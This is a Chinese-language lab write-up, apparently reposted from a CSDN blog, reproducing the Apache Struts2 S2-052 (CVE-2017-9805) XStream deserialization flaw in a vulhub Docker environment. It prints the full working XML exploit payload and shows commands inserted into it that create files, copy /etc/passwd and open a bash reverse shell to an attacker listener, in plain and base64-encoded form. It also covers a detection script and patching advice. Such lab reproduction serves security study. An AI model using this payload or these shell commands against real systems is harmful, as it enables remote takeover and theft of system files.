0


[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-052(CVE-2017-9805)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

一、漏洞编号

s2-052
CVE-2017-9805

二、影响范围

Struts 2.1.6 - Struts 2.3.33
Struts 2.5 - Struts 2.5.12

三、漏洞描述

Apache Struts2的REST插件存在远程代码执行的高危漏洞,其编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

四、环境搭建

1、进入s2-052环境

cd vulhub/struts2/s2-052

在这里插入图片描述

2、启动s2-052环境

docker-compose up -d

在这里插入图片描述

3、查看s2-052环境

docker-composeps

在这里插入图片描述

4、访问s2-052环境

http://ip:端口/orders

http://192.168.233.128:8080/orders

在这里插入图片描述

5、查看s2-052漏洞提示信息

cat README.md

在这里插入图片描述

6、关闭s2-052环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、POC

<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command>
命令插入区域
</command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer></ibuffer><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>

2、进入漏洞页面

http://ip:端口/orders

http://192.168.233.128:8080/orders

在这里插入图片描述

3、进入漏洞点抓包

点击一个edit进行编译页面,然后提交,并用burp抓包,放入重放攻击模块。

在这里插入图片描述

抓到的数据包如下

在这里插入图片描述

4、创建文件

1.修改数据包在/tmp目录下创建PowerShell.txt文件

Content-Type: application/x-www-form-urlencoded 修改为:
Content-Type: application/xml
post数据做如下修改:
下面的command就是反序列化出来的命令执行,把他插入到POC中

<command><string>touch</string><string>/tmp/PowerShell.txt</string></command>

2.进行重放攻击

返回500状态码,但是文件已经创建成功


在这里插入图片描述

3.PowerShell.txt文件创建成功

进入容器查看,发现PowerShell.txt文件创建成功

dockerpsdockerexec-it f3bcbfbef902 /bin/bash
ls /tmp

在这里插入图片描述

5、读取文件

1.修改数据包进行重放攻击

Content-Type: application/x-www-form-urlencoded 修改为
Content-Type: application/xml
post数据做如下修改:
下面的command就是反序列化出来的命令执行,把他插入到POC中

<command><string>cp</string><string>/etc/passwd</string><string>/tmp/passwd</string></command>

2.读取文件成功

进入容器查看文件是否写入成功

dockerpsdockerexec-it f3bcbfbef902 /bin/bash
ls /tmp
cat /tmp/passwd

在这里插入图片描述

6、写文件

1.修改数据包进行重放攻击

Content-Type: application/x-www-form-urlencoded 修改为
Content-Type: application/xml
post数据做如下修改:
下面的command就是反序列化出来的命令执行,把他插入到POC中

<command><string>bash</string><string>-c</string><string>echo micr067 > /tmp/test.txt</string></command>

在这里插入图片描述

2.文件写入成功

进入容器查看文件是否写入成功

dockerpsdockerexec-it f3bcbfbef902 /bin/bash
ls /tmp
cat /tmp/test.txt

在这里插入图片描述

六、getshell

1、攻击机监听

nc-lvvp55555

Nc反弹shell在文末给出

在这里插入图片描述

2、靶机连接

1.反弹shell命令

Bash反弹shell详解在文末给出

bash-i>& /dev/tcp/192.168.233.1/55555 0>&1

2.exec编码

编码工具在文末给出

bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}

在这里插入图片描述

3.构造payload

Content-Type: application/x-www-form-urlencoded 修改为
Content-Type: application/xml
post数据做如下修改:
下面的command就是反序列化出来的命令执行,把他插入到POC中

<command><string>bash</string><string>-c</string><string>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}</string></command>

4.执行命令

直接进行重放攻击

在这里插入图片描述

3、getshell成功

等了一小会儿之后发现shell反弹过来了

在这里插入图片描述

执行ls /tmp发现我们之前创建的文件

在这里插入图片描述

七、脚本检测

检测脚本CVE-2017-9805_POC.py在文末给出。
当状态是 Status: Vulnerable!时就存在漏洞。

1、单个url检测

python CVE-2017-9805_POC.py -u http://192.168.233.128:8080/orders/3/edit

在这里插入图片描述

2、批量url检测

python CVE-2017-9805_POC.py --list url.txt

在这里插入图片描述

八、漏洞修复

1、升级到Apache Struts版本到最新版本
2、最好的选择是在不使用时删除Struts REST插件,或仅限于服务器普通页面和JSONs:

3、限制服务端扩展类型,删除XML支持。
由于应用的可用类的默认限制,某些REST操作可能会停止工作。在这种情况下,请调查介绍的新接口以允许每个操作定义类限制,那些接口是:

org.apache.struts2.rest.handler.AllowedClasses
org.apache.struts2.rest.handler.AllowedClassNames
org.apache.struts2.rest.handler.XStreamPermissionProvider

九、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
4、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell
5、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
6、Exec编码工具
7、检测脚本CVE-2017-9805_POC.py


本文转载自: https://blog.csdn.net/qq_51577576/article/details/128294285
版权归原作者 _PowerShell 所有, 如有侵权,请联系我们删除。

“[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-052(CVE-2017-9805)”的评论:

还没有评论